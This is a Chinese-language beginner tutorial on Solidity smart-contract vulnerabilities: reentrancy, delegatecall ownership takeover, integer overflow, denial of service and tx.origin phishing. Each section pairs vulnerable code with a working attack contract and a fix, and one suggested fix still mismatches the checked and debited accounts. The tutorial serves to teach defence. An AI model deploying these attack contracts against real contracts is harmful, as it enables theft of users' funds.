智能合约漏洞原理分析【入门向】 – 作者:小汽油

重入漏洞-Reentrancy

被攻击合约代码:

pragma solidity ^0.4.10;

contract Wallet {
    // mapping the account and balance
    mapping (address => uint256) balances;
    
    // recive the money
    function deposit() payable public { 
        // set adress => balance mapping
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(address to, uint256 amount) public {
        // require the balance no less than the withdraw money
        require(balances[to] > amount);
        require(address(this).balance > amount);
        
        // send money, then update the balance
        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    
    
    function () public payable { }
}

攻击代码:

首先,调用sendValue函数向目标合约转账,创建一个账户。

然后,调用attack函数发起取款申请。

目标合约转账后会调用攻击合约的fallback函数,发起重入攻击。

pragma solidity ^0.4.10;

contract Attack {
    // address of aim contract
    address attackAim;
    
    // send 2 ether to register account
    function sendValue(address aimAddress) public payable {
        // send 2 ether
        aimAddress.call.value(2000000000000000000)(bytes4(keccak256("deposit()")));
    }
    
    function attack(address aimAddress, uint256 value) public payable returns (bool) {
        // withdraw ether from aim contract
        aimAddress.call(bytes4(keccak256("withdraw(address,uint256)")), this, value);
    }
    
    function () public payable {
        // attack function: recursively get 1 ether
        attackAim.call(bytes4(keccak256("withdraw(address,uint256)")), this, 1000000000000000000);
    }
}

攻击原理:

1.给合约账户转账时,会调用目标账户的fallback函数

2.被攻击合约采取的是“先转账,后记录”的执行顺序

3.被攻击合约采用to.call.value(amount)();函数进行转账,这个函数如果不作gas限制的话,会将剩余的gas全部给予外部fallback函数调用

漏洞修复:

1.将withdraw函数的代码修改如下,变成“先记录,后转账”的模式。

2.采用transfer()函数进行转账,或采用to.call.gas(2300).value(amount)();函数对gas进行限制。

function withdraw(address to, uint256 amount) public {
    // require the balance no less than the withdraw money
    require(balances[to] > amount);
    require(address(this).balance > amount);
    
    // update the balance, then send money
		balances[msg.sender] -= amount;
    to.call.value(amount)();
}

越权访问-AcessControl

目标代码:

pragma solidity ^0.4.10;

contract Aim {
    address public owner;
 
    constructor () public {
				// set the owner while building the contract
        owner = msg.sender;
    }
    
    function withDelegateCall(address _address, string _funcName) public {
				// call the _address._funcName
        _address.delegatecall(bytes4(keccak256(_funcName)));
    }
}

攻击代码:

pragma solidity ^0.4.10;

contract Attack {
    address public owner;
    
    function attack() public {
				// reset the owner of the aim contract
        owner = msg.sender;
    }
}

攻击原理:

1.向被攻击合约的withDelegateCall函数传入攻击合约的地址address以及攻击函数attack()函数。

2.被攻击合约采用delegatecall函数,将_address, _funcName所对应的函数放在被攻击合约的环境中执行。

3.攻击合约中的attack函数对两个合约都存在的owner参数进行重新赋值,值为调用被攻击合约withDelegateCall函数的地。

漏洞修复:

1.对输入参数(如:_address, _funcName)进行限制。

2.根据场景选择合适的调用函数(<address>.call(), <address>.delegatecall(), <address>.callcode)。

整数溢出-IntegerOverflow

案例1

漏洞代码:

pragma solidity ^0.4.10;

contract IntOverflow{
    uint256 public accountBalance;
    
    // withdraw ether
    function withdraw(uint256 _value){
        accountBalance = 20;
        require(accountBalance - _value > 0);
        /*
            send ether ...
        */
    }
}

攻击方法:

withdraw函数传入大于accountBalance的参数_value,使得accountBalance - _value的结果为正数(发生整数溢出)

1.向withdraw函数传入参数_value115792089237316195423570985008687907853269984665640564039457584007913129639926

2.accountBalance - _value发生整数溢出,得到结果为30

3.顺利通过require检测,执行下面的代码,发送价值为_value的以太。

漏洞修复:

将代码中的require语句改为require(accountBalance > _value);,避免了加减运算所造成的整数溢出。

相关知识:

8 位无符整数 255 在内存中占据了 8bit 位置,若再加上 1 整体会因为进位而导致整体翻转为 0,最后导致原有的 8bit 表示的整数变为 0.

如果是 8 位有符整型,其可表示的范围为

[-128, 127]

,最高位作为符号位,当 127 加上 1 时,由于进位符号位变为 1(负数),因为符号位已翻转为 1,通过还原此负数值,最终得到的 8 位有符整数为 -128(因为0只需要一个,所以把-0拿来当做一个最小的数)。

Solidity 中 uint 默认为 256 位无符整型,可表示范围

[0, 2**256-1]

案例2

漏洞代码:

pragma solidity ^0.4.10;

contract OverflowLoop{
    uint256 public count;
    
    function OFloop2(uint256[] _array) public {
        count = 0;
        for(uint8 i = 0; i < _array.length; i++){
            count++;
        }
    }
}

contract attack{
    uint256[300] attackArray;
    
    function toAttack(address _aim) public {
        _aim.call(bytes4(keccak256("OFloop2(uint256[])")), attackArray);
    }
}

攻击方法:

1.往OFloop2函数中传入长度大于255的数组。

2.会使得for循环中的uint8 i发生整型溢出,i不可能大于等于数组长度,永远满足循环条件。

3.一直循环,直到消耗完gas limit限制的gas

漏洞修复:

对输入进行检测,限制数组的长度,如require(_array.length < 255);

拒绝服务-DenialOfService

目标代码:

pragma solidity ^0.4.10;

contract Aim {
    address public owner;
    uint256 public price;
    
    constructor () payable{
        owner = msg.sender;
        price = msg.value;
    }
    
		// to be the new owner if the msg.value is more than the price
    function toBeOwner() payable {
        require(msg.value > price);
				// attack happens
        owner.transfer(price);
        owner = msg.sender;
        price = msg.value;
    }
}

攻击代码:

pragma solidity ^0.4.10;

contract Attack{
    function attack(address _target) payable{
        _target.call.value(msg.value)(bytes4(keccak256("toBeOwner()")));
    }
    
    function () payable {
				// the operation would be reverted while sending the ether to this contract
        revert();
    }
}

攻击原理:

1.revert函数会抛出错误,然后将此次交易的全部操作通通回滚。

2.只要攻击合约成为目标合约的owner,将拒绝新的用户成为目标合约的owner

3.后面再有想成为owner的用户,当owner.transfer(price);语句执行时,目标合约转账给攻击合约,调用攻击函数的fallback函数中的revert函数,整个交易进行回滚。

漏洞修复:

让用户自己来取钱,而不是自动的转移资金到用户的账户中。

发起者-tx.origin

漏洞代码:

pragma solidity ^0.4.10;

contract Wallet {
    address public owner;
    
    constructor () payable{
        // set Wallet's owner
        owner = msg.sender;
    }
    
    function withdraw(address to, uint256 amount) public{
        // require the transaction initiator is Wallet's owner
        require(tx.origin == owner);
        require(this.balance > amount);
        
        // send 1 ether
        to.call.value(1000000000000000000)(amount);
    }
    
    function () payable public{ }
}

攻击代码:

pragma solidity ^0.4.10;

contract attack{
    address public txOrigin;
    address public msgSender;
    
    function () payable public{
        // Wallet's owner address
        txOrigin = tx.origin;
        // Wallet address
        msgSender = msg.sender;
        
        msgSender.call(bytes4(keccak256("withdraw(address,uint256)")), this, 1000000000000000000);
    }
}

攻击原理:

1.部署攻击合约。

2.引诱钱包合约的拥有者对攻击合约发起转账,然后调用攻击合约的fallback函数。

3.此时,攻击合约的fallback函数中,txOrigin的值为合约的拥有者的地址,msgSender的值为钱包合约的地址。

4.接下来递归调用钱包合约中的withdraw函数,直到钱包合约余额小于1 ether。(重入攻击)

漏洞修复:

1.采用transfer函数进行转账操作,只提供2300gas,没有多余的gas用来执行目标账户fallback函数中的内容。

2.将检查语句require(tx.origin == owner);改为require(msg.sender == owner);

来源:freebuf.com 2021-02-28 23:01:08 by: 小汽油

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论